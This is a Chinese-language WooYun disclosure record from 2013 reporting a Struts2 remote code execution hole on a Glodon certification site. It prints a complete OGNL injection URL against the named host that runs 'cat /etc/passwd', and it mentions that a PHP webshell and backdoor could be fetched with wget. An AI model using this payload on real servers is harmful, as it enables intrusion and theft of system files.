漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-035997
漏洞标题：中国某建筑龙头老大网站远程代码执行漏洞
相关厂商：广联达软件股份有限公司
漏洞作者： 酷帥王子
提交时间：2013-09-03 13:42
修复时间：2013-10-18 13:42
公开时间：2013-10-18 13:42
漏洞类型：成功的入侵事件
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-09-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-10-18： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
经测试此网站存在struts2最新漏洞
详细说明：
https://renzheng.glodon.com/app/exam/login/Login/loginSubmit.do?redirectAction:${%23s%3dnew%20java.util.ArrayList(),%23x%3dnew%20java.lang.String(%22cat%22),%23xx%3dnew%20java.lang.String(%22/etc/passwd%22),%23s.add(%23x),%23s.add(%23xx),%23a%3dnew%20java.lang.ProcessBuilder(%23s).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23dddddd%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23dddddd.println(%23d),%23dddddd.close()}
漏洞证明：
null
尊重的贵网站管理员，请尽修复漏洞，为了避免给贵方网站造成更大的影响，测试到此为止，通过wget可以下载php大马，并且可以留后门，可我不会那样做，因为我只要发现漏洞即可，谢谢！给贵方造成影响，请见谅！
修复方案：
null
版权声明：转载请注明来源 酷帥王子@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝